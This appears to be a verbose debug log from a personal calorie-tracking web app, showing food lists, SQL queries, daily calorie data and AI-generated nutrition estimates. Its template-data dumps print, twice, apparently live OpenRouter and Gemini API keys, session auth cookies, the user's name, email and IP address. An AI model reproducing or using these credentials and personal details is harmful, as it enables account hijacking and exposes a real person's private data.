  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-23T03:50:57.235Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-23T03:50:59.067Z server-connect:router Serving templateView /calorie-tracker
2025-12-23T03:50:59.067Z server-connect:app Executing action step identify
2025-12-23T03:50:59.067Z server-connect:app options: { provider: 'security' }
2025-12-23T03:50:59.067Z server-connect:output identity: 1
2025-12-23T03:50:59.067Z server-connect:app Executing action step restrict
2025-12-23T03:50:59.067Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T03:50:59.068Z server-connect:output restrict: undefined
2025-12-23T03:50:59.068Z server-connect:router Render template calorie-tracker
2025-12-23T03:50:59.068Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-23T03:50:59.299Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-23T03:50:59.300Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-23T03:50:59.300Z server-connect:app Executing action step identify
2025-12-23T03:50:59.300Z server-connect:app options: { provider: 'security' }
2025-12-23T03:50:59.300Z server-connect:output identity: 1
2025-12-23T03:50:59.300Z server-connect:app Executing action step restrict
2025-12-23T03:50:59.300Z server-connect:app options: { provider: 'security' }
2025-12-23T03:50:59.300Z server-connect:output restrict: undefined
2025-12-23T03:50:59.300Z server-connect:app Executing action step single
2025-12-23T03:50:59.300Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-23T03:50:59.301Z server-connect:app Executing action step identify
2025-12-23T03:50:59.301Z server-connect:app options: { provider: 'security' }
2025-12-23T03:50:59.301Z server-connect:output identity: 1
2025-12-23T03:50:59.301Z server-connect:app Executing action step restrict
2025-12-23T03:50:59.301Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:50:59.301Z server-connect:output restrict: undefined
2025-12-23T03:50:59.302Z server-connect:app Executing action step single
2025-12-23T03:50:59.302Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-23T03:50:59.304Z server-connect:output summary: undefined
2025-12-23T03:50:59.305Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-23T03:50:59.305Z server-connect:app Executing action step select
2025-12-23T03:50:59.305Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-23T03:50:59.308Z server-connect:output item_list: []
2025-12-23T03:50:59.308Z server-connect:app Executing action step setvalue
2025-12-23T03:50:59.308Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-23T03:50:59.308Z server-connect:output var_total: 0
2025-12-23T03:50:59.308Z server-connect:app Executing action step setvalue
2025-12-23T03:50:59.308Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-23T03:50:59.308Z server-connect:output var_consumed: 0
2025-12-23T03:50:59.308Z server-connect:app Executing action step setvalue
2025-12-23T03:50:59.308Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-23T03:50:59.308Z server-connect:output var_deficit: 2400
2025-12-23T03:50:59.308Z server-connect:app Executing action step custom
2025-12-23T03:50:59.308Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-23T03:50:59.310Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  }
]
2025-12-23T03:50:59.855Z server-connect:app Executing action step identify
2025-12-23T03:50:59.855Z server-connect:app options: { provider: 'security' }
2025-12-23T03:50:59.855Z server-connect:output identity: 1
2025-12-23T03:51:06.598Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-23T03:51:06.598Z server-connect:app Executing action step identify
2025-12-23T03:51:06.598Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:06.598Z server-connect:output identity: 1
2025-12-23T03:51:06.598Z server-connect:app Executing action step restrict
2025-12-23T03:51:06.598Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:51:06.599Z server-connect:output restrict: undefined
2025-12-23T03:51:06.599Z server-connect:app Executing action step processWithGemini
2025-12-23T03:51:06.599Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-23T03:51:08.792Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'McCain French Fries',
      quantity: '1 serving (approx. 85g, standard serving size for McCain frozen fries)',
      calories_consumed: 250,
      total_calories: 250,
      protein: 2.5,
      carbs: 30,
      fat: 13,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'McCain French fries are typically deep-fried and high in unhealthy fats (trans fats, saturated fats) and sodium. While they provide some carbohydrates, the processing and cooking method make them a poor choice for muscle development and overall health. For a desk job and gym routine focused on muscle development, prioritizing whole, unprocessed foods is crucial. The high fat content and low protein make them less ideal for your goals.'
    }
  ],
  total_macros: {
    protein: { value: 2.5, unit: 'g' },
    carbs: { value: 30, unit: 'g' },
    fat: { value: 13, unit: 'g' }
  }
}
2025-12-23T03:51:21.134Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-23T03:51:21.135Z server-connect:app Executing action step identify
2025-12-23T03:51:21.135Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:21.135Z server-connect:output identity: 1
2025-12-23T03:51:21.135Z server-connect:app Executing action step restrict
2025-12-23T03:51:21.135Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:51:21.135Z server-connect:output restrict: undefined
2025-12-23T03:51:21.136Z server-connect:app Executing action step processWithGemini
2025-12-23T03:51:21.136Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-23T03:51:22.987Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'McCain Potato Bites',
      quantity: '1 serving (approx. 85g, based on typical serving size)',
      calories_consumed: 190,
      total_calories: 190,
      protein: 2,
      carbs: 25,
      fat: 9,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'McCain Potato Bites are typically deep-fried and high in unhealthy fats and sodium. While they provide some carbohydrates for energy, the processing and frying method make them less ideal for muscle development and overall health compared to whole, unprocessed foods. For muscle development, focusing on lean protein and complex carbohydrates is more beneficial.'
    }
  ],
  total_macros: {
    protein: { value: 2, unit: 'g' },
    carbs: { value: 25, unit: 'g' },
    fat: { value: 9, unit: 'g' }
  }
}
2025-12-23T03:51:30.880Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-23T03:51:30.880Z server-connect:app Executing action step identify
2025-12-23T03:51:30.880Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:30.881Z server-connect:output identity: 1
2025-12-23T03:51:30.881Z server-connect:app Executing action step restrict
2025-12-23T03:51:30.881Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:51:30.881Z server-connect:output restrict: undefined
2025-12-23T03:51:30.881Z server-connect:app Executing action step condition
2025-12-23T03:51:30.881Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-23T03:51:30.881Z server-connect:app Executing action step repeat
2025-12-23T03:51:30.881Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-23T03:51:30.881Z server-connect:app Executing action step insert
2025-12-23T03:51:30.881Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-23T03:51:30.882Z server-connect:output calories: { affected: 1, identity: 493 }
2025-12-23T03:51:30.882Z server-connect:output repeat: [ {} ]
2025-12-23T03:51:30.882Z server-connect:output condition: undefined
2025-12-23T03:51:31.087Z server-connect:router Serving templateView /calorie-tracker
2025-12-23T03:51:31.088Z server-connect:app Executing action step identify
2025-12-23T03:51:31.088Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:31.088Z server-connect:output identity: 1
2025-12-23T03:51:31.088Z server-connect:app Executing action step restrict
2025-12-23T03:51:31.088Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T03:51:31.088Z server-connect:output restrict: undefined
2025-12-23T03:51:31.088Z server-connect:router Render template layouts/main
2025-12-23T03:51:31.089Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
